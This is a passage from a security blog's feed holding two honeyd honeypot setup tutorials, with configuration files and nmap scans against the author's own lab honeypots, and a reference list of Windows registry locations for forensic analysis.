<p>Nmap has a version of this file as well named &#8220;nmap-os-db&#8221;. The nmap.prints and the nmap-os-db may or may not match up depending on your versions of nmap and honeyd. My nmap-os-db is in the following location.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">/usr/share/nmap/nmap-os-db</div></div>
<p>Within nmap.prints anything that follows the word &#8220;Fingerprint&#8221; is available as a personality. As an example below the string &#8220;Avaya G3 PBX version 8.3&#8243; can be used as a personality in honeyd.conf</p>
<p><a href="http://travisaltman.com/wp-content/Selection_187.png"><img class="aligncenter size-full wp-image-372" title="Selection_187" src="http://travisaltman.com/wp-content/Selection_187.png" alt="" width="483" height="163" /></a></p>
<p>In my example I will emulate this Avaya PBX device and I will also emulate a Soalris device. So a diagram of my setup looks like the following.</p>
<p><a href="http://travisaltman.com/wp-content/Selection_189.png"><img class="aligncenter size-full wp-image-380" title="Selection_189" src="http://travisaltman.com/wp-content/Selection_189.png" alt="" width="594" height="392" /></a></p>
<p>So now that I&#8217;ve decided to also emulate a Solaris and Avaya device I&#8217;ll need to add both of these do honeyd.conf. Basically all you&#8217;ll need to do is copy and paste from the Windows device you&#8217;ve already setup in honeyd.conf then make some minor modifications such as the personality. My honeyd.conf for all three of these honeypots is below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">create default<br />
set default default tcp action block<br />
set default default udp action block<br />
set default default icmp action block<br />
<br />
create windows<br />
set windows personality &quot;Microsoft Windows XP Professional SP1&quot;<br />
set windows default tcp action reset<br />
add windows tcp port 135 open<br />
add windows tcp port 139 open<br />
add windows tcp port 445 open<br />
<br />
create avaya<br />
set avaya personality &quot;Avaya G3 PBX version 8.3&quot;<br />
set avaya default tcp action reset<br />
add avaya tcp port 4445 open<br />
add avaya tcp port 5038 open<br />
<br />
create solaris<br />
set solaris personality &quot;Avaya G3 PBX version 8.3&quot;<br />
set solaris default tcp action reset<br />
add solaris tcp port 22 open<br />
add solaris tcp port 2049 open<br />
<br />
set windows ethernet &quot;00:00:24:ab:8c:12&quot;<br />
set avaya ethernet &quot;00:00:24:ab:8c:13&quot;<br />
set solaris ethernet &quot;00:00:24:ab:8c:14&quot;<br />
dhcp windows on eth1<br />
dhcp avaya on eth1<br />
dhcp solaris on eth1</div></div>
<p>After you&#8217;ve added this information to honeyd.conf go ahead and run honeyd with the options discussed in part one, you should see the following.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">root@bt:~# honeyd -d -f honeyd.conf<br />
Honeyd V1.5c Copyright (c) 2002-2007 Niels Provos<br />
honeyd[2697]: started with -d -f honeyd.conf<br />
Warning: Impossible SI range in Class fingerprint &quot;IBM OS/400 V4R2M0&quot;<br />
Warning: Impossible SI range in Class fingerprint &quot;Microsoft Windows NT 4.0 SP3&quot;<br />
honeyd[2697]: listening promiscuously on eth1: (arp or ip proto 47 or (udp and src port 67 and dst port 68) or (ip )) and not ether src 00:0c:29:88:e6:db<br />
honeyd[2697]: [eth1] trying DHCP<br />
honeyd[2697]: [eth1] trying DHCP<br />
honeyd[2697]: [eth1] trying DHCP<br />
honeyd[2697]: Demoting process privileges to uid 65534, gid 65534<br />
honeyd[2697]: [eth1] got DHCP offer: 192.168.99.159<br />
honeyd[2697]: Updating ARP binding: 00:00:24:c5:59:29 -&amp;gt; 192.168.99.159<br />
honeyd[2697]: [eth1] got DHCP offer: 192.168.99.160<br />
honeyd[2697]: Updating ARP binding: 00:00:24:02:ac:73 -&amp;gt; 192.168.99.160<br />
honeyd[2697]: [eth1] got DHCP offer: 192.168.99.161<br />
honeyd[2697]: Updating ARP binding: 00:00:24:68:0c:45 -&amp;gt; 192.168.99.161<br />
honeyd[2697]: arp reply 192.168.99.159 is-at 00:00:24:c5:59:29<br />
honeyd[2697]: arp reply 192.168.99.160 is-at 00:00:24:02:ac:73<br />
honeyd[2697]: arp reply 192.168.99.161 is-at 00:00:24:68:0c:45<br />
honeyd[2697]: Sending ICMP Echo Reply: 192.168.99.159 -&amp;gt; 192.168.99.254<br />
honeyd[2697]: arp_send: who-has 192.168.99.254 tell 192.168.99.159<br />
honeyd[2697]: Sending ICMP Echo Reply: 192.168.99.160 -&amp;gt; 192.168.99.254<br />
honeyd[2697]: Sending ICMP Echo Reply: 192.168.99.161 -&amp;gt; 192.168.99.254<br />
honeyd[2697]: arp_recv_cb: 192.168.99.254 at 00:50:56:ec:10:84</div></div>
<p>If everything has gone smooth up to this point you&#8217;ve gotten output similar to above. So currently we&#8217;ve got three honeypots running on one installation of honeyd. Now the proof is in the pudding by port scanning these devices and see if the ports are open and what OS nmap claims it to be. DHCP gave our Avaya device an IP address of 192.168.99.160, let&#8217;s port scan for the two open ports and a port we know to be closed and see what results we get.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">travis@tht:~/documents$ nmap -p 4445,5038,5555 192.168.99.160<br />
<br />
Starting Nmap 5.00 ( http://nmap.org ) at 2011-06-15 01:25 EDT<br />
Interesting ports on 192.168.99.160:<br />
PORT     STATE  SERVICE<br />
4445/tcp open   unknown<br />
5038/tcp open   unknown<br />
5555/tcp closed freeciv<br />
<br />
Nmap done: 1 IP address (1 host up) scanned in 1.18 seconds</div></div>
<p>Looks like everything is on the up and up with our Avaya device. Port 5555 is closed because we did not define it in honeyd.conf. I&#8217;ll spare you with the nmap scan of the Solaris device but everything was operating as normal for it as well. So the ports are open but how well is this personality thing working? Nmap can try and determine the OS of a device through a number of TCP exchanges. Honeyd tries to use the nmap fingerprint database to send the appropriate TCP responses to a nmap scan so that the personality you&#8217;ve assigned to your template will respond as it should. This doesn&#8217;t always work properly. New versions of nmap are constantly coming out which means the nmap fingerprint database is changing as well. So nmap may respond properly or it may not, this will just depend on the version of nmap you or an attacker is scanning with. It will also depend on the nmap.prints that honeyd uses as well. You can perform an OS detection in nmap by providing it the -O option, let&#8217;s try scanning our Solaris device and see what it returns.</p>
<p><a href="http://travisaltman.com/wp-content/Selection_188.png"><img class="aligncenter size-full wp-image-376" title="Selection_188" src="http://travisaltman.com/wp-content/Selection_188.png" alt="" width="442" height="307" /></a></p>
<p>Seeing how this might happen you don&#8217;t want to totally rely on the personality in honeyd. The best idea is to open up ports that are common to a particular device. For instance most Linux and Solaris devices have port 22 open while routers and switches will probably have port 161 open (SNMP). The configuration is totally up to you but trying to make your honeypot as sweet as possible is the main goal.</p>
<p>So adding multiple honeypots to your honeyd install is fairly straightforward but there are some things to consider when setting it up. Other topics such as email alerts are coming but for now make sure you can get multiple honeypots running via honyed.</p>
<img src="http://feeds.feedburner.com/~r/travisaltman/~4/CUNKKWoNea8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/honeypot-honeyd-tutorial-part-2-multiple-honeypots/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		<feedburner:origLink>http://travisaltman.com/honeypot-honeyd-tutorial-part-2-multiple-honeypots/</feedburner:origLink></item>
		<item>
		<title>Honeypot / honeyd tutorial part 1, getting started</title>
		<link>http://feedproxy.google.com/~r/travisaltman/~3/T-FwZXAC3Ko/</link>
		<comments>http://travisaltman.com/honeypot-honeyd-tutorial-part-1-getting-started/#comments</comments>
		<pubDate>Fri, 06 May 2011 17:27:06 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[honeypot]]></category>
		<category><![CDATA[network security]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=353</guid>
		<description><![CDATA[If you&#8217;ve somehow found my obscure site then you probably already know a little bit about honeypots and their functionality, if not here is a good breakdown. There are many different types of honeypots and these different types are explained very well in the book Virtual Honeypots which I highly recommend you read if you [...]]]></description>
			<content:encoded><![CDATA[<p>If you&#8217;ve somehow found my obscure site then you probably already know a little bit about honeypots and their functionality, if not <a href="http://www.honeypots.net/">here is a good breakdown</a>. There are many different types of honeypots and these different types are explained very well in the book <a href="http://www.amazon.com/Virtual-Honeypots-Tracking-Intrusion-Detection/dp/0321336321" target="_blank">Virtual Honeypots</a> which I highly recommend you read if you are serious about deploying a honeypot. This series of articles will focus on honeypots using an application called <a href="http://www.honeyd.org/" target="_blank">honeyd</a>. There are a number of honeypot solutions out there but I personally feel like honeyd is a great fit because it can be relatively simple or you can start tweaking it to get a more full featured product. You may think of honeypots as internet facing and it&#8217;s true that they can be configured that way but during this series of tutorials I will only be using honeyd on an internal network. Internet facing honeypots are mainly used to research and find new malware, internal honeypots are mainly used as alerting systems that would alert you when other devices / users are connecting to your honeypots. You can also use honeyd when investigating malware which I&#8217;ll discuss in a later tutorial.</p>
<p>For this tutorial I will be using one Windows machine and one Linux machine, <a href="http://www.backtrack-linux.org/" target="_blank">Backtrack </a>distribution to be exact. Backtrack will be the machine that is running honeyd. Honeyd is available for Windows but I highly recommend that you use honeyd on Linux. If you&#8217;re half way interested in information security then I suggest that you get to know Linux as there are a lot of information security tools such as honeyd that use Linux. Sorry for the Linux rant, below is basic diagram of my setup.</p>
<p><a href="http://travisaltman.com/wp-content/Selection_171.png"><img class="aligncenter size-full wp-image-358" title="Selection_171" src="http://travisaltman.com/wp-content/Selection_171.png" alt="" width="557" height="431" /></a></p>
<p>The idea here is that we&#8217;ll install and configure honeyd on Backtrack then simply test that we have connectivity with our Windows machine. To see if you have honeyd installed on Backtrack (or any Linux system) simply type &#8220;honey + TAB&#8221;, if &#8220;d&#8221; is shown right after honey then you know you have honeyd installed as it is an available command if you don&#8217;t have honeyd installed on Backtrack run the following command</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">sudo apt-get install honeyd</div></div>
<p>This will also work for any Debian based Linux system. To install on other distributions such as Gentoo, Fedora, Slackware, etc I would check their documentation on how to install packages. After honeyd is installed the next thing we&#8217;ll need to do is create a configuration file. A honeyd configuration file is the heart of your honeypot. The configuration file tells honeyd what operating system to emulate, what ports to open, what services should be ran, etc. This config file can be tweaked to emulate all sorts setups but for right now let&#8217;s look at a simple setup and get that up and running. Below is my config file.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">create default<br />
set default default tcp action block<br />
set default default udp action block<br />
set default default icmp action block<br />
<br />
create windows<br />
set windows personality &quot;Microsoft Windows XP Professional SP1&quot;<br />
set windows default tcp action reset<br />
add windows tcp port 135 open<br />
add windows tcp port 139 open<br />
add windows tcp port 445 open<br />
<br />
set windows ethernet &quot;00:00:24:ab:8c:12&quot;<br />
dhcp windows on eth0</div></div>
<p>Within Backtrack you can use Kate or nano text editors to create this file. In Backtrack Kate is under the Utilities menu. The &#8220;create default&#8221; section simply tells honeyd to drop traffic unless it is defined later in the configuration file. I find this section is needed when you let your honeypot acquire an IP address via dhcp. Also it&#8217;s probably a good idea to implement this section so that you only answer to network connections that you define later in the config file. Anytime you see &#8220;create&#8221; within the config file you are creating a template for a honeypot, so you can create as many honeypots as you&#8217;d like within the honed.conf config. In the windows template we are defining a number of things. First we are setting the personality, meaning when another device on the network connects to this honeypot it will appear to be a Windows XP Pro SP1 device. This is emulated via network stack fingerprints. In the windows template I&#8217;m also opening up three ports (135, 139, and 445). These are common ports that are open on a windows system. The &#8220;action reset&#8221; statement will drop traffic if it is not aimed at the open ports defined in this config. The &#8220;set windows ethernet&#8221; sets a MAC address for our honeypot.  This will be needed if you run your honeypot via dhcp. You can simply make up any MAC address you&#8217;d like, I usually keep it close to the physical MAC address that I&#8217;m running the honeypot off of. Finally the dhcp statement tells the windows template to acquire an IP address from dhcp. Now that we have our honeyd.conf file properly setup it&#8217;s time to launch honeyd, below is the command I use when initially getting honeyd up and running.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">honeyd  -d  -f  honeyd.conf</div></div>
<p>Here we use the -d so that it doesn&#8217;t run in the background (or doesn&#8217;t run as a daemon in Linux terms). This allow for more verbose output so that we can troubleshoot as needed. Running in this mode will also show the IP that was given to our honeypot via dhcp. Below is the type of output you should see after running the honeyd command.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Honeyd V1.5c Copyright (c) 2002-2007 Niels Provos<br />
honeyd[1870]: started with -d -f honeyd.conf<br />
Warning: Impossible SI range in Class fingerprint &quot;IBM OS/400 V4R2M0&quot;<br />
Warning: Impossible SI range in Class fingerprint &quot;Microsoft Windows NT 4.0 SP3&quot;<br />
honeyd[1870]: listening promiscuously on eth0: (arp or ip proto 47 or (udp and src ...<br />
honeyd[1870]: [eth0] trying DHCP<br />
honeyd[1870]: Demoting process privileges to uid 65534, gid 65534<br />
honeyd[1870]: [eth0] got DHCP offer: 192.168.99.135<br />
honeyd[1870]: Updating ARP binding: 00:00:24:c8:e3:34 -&amp;gt; 192.168.99.135</div></div>
<p>In this verbose output we see that dhcp gave our honeypot the address of 192.168.99.135. From our windows machine let&#8217;s ping that IP address and make sure that we have connectivity. You should see output on the terminal similar to below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">honeyd[1870]: arp reply 192.168.99.135 is-at 00:00:24:c8:e3:34<br />
honeyd[1870]: Sending ICMP Echo Reply: 192.168.99.135 -&amp;gt; 192.168.99.128<br />
honeyd[1870]: arp_send: who-has 192.168.99.128 tell 192.168.99.135<br />
honeyd[1870]: arp_recv_cb: 192.168.99.128 at 00:0c:29:7e:60:d0<br />
honeyd[1870]: Sending ICMP Echo Reply: 192.168.99.135 -&amp;gt; 192.168.99.128<br />
honeyd[1870]: Sending ICMP Echo Reply: 192.168.99.135 -&amp;gt; 192.168.99.128<br />
honeyd[1870]: Sending ICMP Echo Reply: 192.168.99.135 -&amp;gt; 192.168.99.128</div></div>
<p>So congrats you&#8217;ve successfully deployed honeyd. We can now ping our honeypot but we need to make sure the ports we&#8217;ve configured to be open are open. Let&#8217;s us the cadillac of port scanners <a href="http://nmap.org/" target="_blank">nmap</a> to detect open ports on our honeypot. You can scan for all 65,535 ports on our honeypot but to keep the verbose output of honeyd low let&#8217;s just scan for a handful of ports. Below is the nmap command I used.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">nmap -p 135,139,445,1337 192.168.99.135</div></div>
<p>The output of this command should look similar to below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Starting Nmap 5.00 ( http://nmap.org ) at 2011-05-06 13:13 EDT<br />
Interesting ports on someone (172.20.73.77):<br />
PORT     STATE  SERVICE<br />
135/tcp  open   msrpc<br />
139/tcp  open   netbios-ssn<br />
445/tcp  open   microsoft-ds<br />
1337/tcp closed waste<br />
MAC Address: 00:00:24:26:C4:ED (Connect AS)<br />
<br />
Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds</div></div>
<p>So honeyd appears to be working correctly. If you&#8217;ve reached this point then you are on your way to doing even more with honeypots and honeyd. The main purpose of this article was to get you up and running. In the next series of articles we&#8217;ll configure more honeypots, set static IP&#8217;s, get alerts on devices port scanning our honeypots, investigate malware, etc. If you have any questions, catch errors, or have any feedback please comment below.</p>
<img src="http://feeds.feedburner.com/~r/travisaltman/~4/T-FwZXAC3Ko" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/honeypot-honeyd-tutorial-part-1-getting-started/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		<feedburner:origLink>http://travisaltman.com/honeypot-honeyd-tutorial-part-1-getting-started/</feedburner:origLink></item>
		<item>
		<title>Location of forensic evidence in the registry</title>
		<link>http://feedproxy.google.com/~r/travisaltman/~3/c7n_9UMnYAE/</link>
		<comments>http://travisaltman.com/location-of-forensic-evidence-in-the-registry/#comments</comments>
		<pubDate>Wed, 30 Mar 2011 03:24:35 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[forensics]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=336</guid>
		<description><![CDATA[I got tired of always searching online for the location of something in the windows registry, especially when it came to forensic analysis. Hopefully this compilation will help others to find things of interest inside the windows registry. My plan is to update this article as I find more interesting locations within the windows registry.
=====================================================================
Last [...]]]></description>
			<content:encoded><![CDATA[<p>I got tired of always searching online for the location of something in the windows registry, especially when it came to forensic analysis. Hopefully this compilation will help others to find things of interest inside the windows registry. My plan is to update this article as I find more interesting locations within the windows registry.</p>
<p>=====================================================================</p>
<p>Last logged on user</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon<br />
<br />
DefaultUserName</div></div>
<p>Searches within the windows OS</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKCU\Software\Microsoft\Search Assistant\ACMru<br />
<br />
5001: Contains list of terms used for the internet search assistant<br />
<br />
5603: Contains the list of terms used for the Windows XP files and folders search<br />
<br />
5604: Contains list of terms used in the “word or phrase in a file” search<br />
<br />
5647: Contains list of terms used in the “for computers or people” search</div></div>
<p>Applications launched from the &#8220;Start &gt; Run&#8221; menu</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU</div></div>
<p>Recent documents</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs</div></div>
<p>Installed applications that reside in &#8220;Control Panel &gt; Add/Remove programs&#8221;</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</div></div>
<p>Mounted devices</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM \SYSTEM\MountedDevices</div></div>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\</div></div>
<p>USB devices that have been attached</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR</div></div>
<p>Applications that are ran during startup</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\SOFTWARE \Microsoft\Windows\CurrentVersion\Run<br />
<br />
HKLM\SOFTWARE \Microsoft\Windows\CurrentVersion\RunOnce<br />
<br />
HKLM\SOFTWARE \Microsoft\Windows\CurrentVersion\RunOnceEx<br />
<br />
HKLM\SOFTWARE \Microsoft\Windows\CurrentVersion\RunServices<br />
<br />
HKLM\SOFTWARE \Microsoft\Windows\CurrentVersion\RunServicesOnce<br />
<br />
HKLM\System\CurrentControlSet\Control\Session Manager\BootExecute</div></div>
<p>List of windows services</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\SYSTEM\CurrentControlSet\Services\</div></div>
<p>Recent network settings, where GUID refers to the network interface</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\GUID</div></div>
<p>Wireless network information</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\SOFTWARE\Microsoft\WZCSVC\Parameters\Interfaces\GUID</div></div>
<p>Mapped network drives</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Map Network Drive MRU</div></div>
<p>Typed URL&#8217;s into the browser</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKU\UID\Software\Microsoft\Internet Explorer\TypedURLs</div></div>
<p>Last time the computer was shut down (64bit value representing time)</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\SYSTEM\CurrentControlSet\Control\Windows</div></div>
<p>Determine if last access times is enabled (0) or disabled (1)</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\System\CurrentControlSet\Control\FileSystem\<br />
<br />
NtfsDisableLastAccessUpdate</div></div>
<p>Computer name</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\System\CurrentControlSet\Control\ComputerName</div></div>
<p>Determine if autoplay is disabled / enabled, link with more info below</p>
<p>http://support.microsoft.com/kb/967715</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKU\UID\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun</div></div>
<p>List of files open or saved via windows explorer</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKU\UID\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU</div></div>
<p>List of drives mapped via the map network drive wizard</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKU\UID\Software\Microsoft\Windows\CurrentVersion\Explorer\Map Network Drive MRU</div></div>
<p>Devices or IP&#8217;s connected to</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKU\UID\Software\Microsoft\Windows\CurrentVersion\Explorer\ComputerDescriptions</div></div>
<p>Mounted drives</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKU\UID\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2</div></div>
<p>List of files played in Windows Media Player</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKU\UID\Software\Microsoft\MediaPlayer\Player\RecentFileList<br />
<br />
HKU\UID\Software\Microsoft\MediaPlayer\Player\RecentURLList</div></div>
<p>List of recently accessed WinZip files</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKU\UID\Software\Nico Mak Computing\WinZip\filemenu</div></div>
<p>List of Microsoft Office files that have been accessed</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKU\UID\Software\Microsoft\Office\&quot;version&quot;\&quot;product&quot;\File Name MRU</div></div>
<p>Browser helper objects (BHO&#8217;s), can be associated with malware but it&#8217;s been a while since I&#8217;ve seen this.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\</div></div>
<p>Entries in this location are automatically started when explorer.exe is ran</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\SharedTaskScheduler\</div></div>
<p>Can point to logon scripts</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\Software\Policies\Microsoft\Windows\System\Scripts\</div></div>
<p>DLL&#8217;s in this location are loaded when a GUI app is launched</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs</div></div>
<p>Programs to be run when user logs in</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit</div></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 2224px; width: 1px; height: 1px; overflow: hidden;"><!-- tt { font-family: courier; }td { font-family: helvetica,sans-serif; }caption { font-family: helvetica,sans-serif; font-size: 14pt; text-align: left; } --></p>
<table cellspacing="0" cellpadding="3">
<tbody>
<tr>
<td style="font-size: 10pt;" colspan="7" align="left" valign="bottom">HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit</td>
</tr>
</tbody>
</table>
</div>
<img src="http://feeds.feedburner.com/~r/travisaltman/~4/c7n_9UMnYAE" height="1" width="1"/>]]></content:encoded>
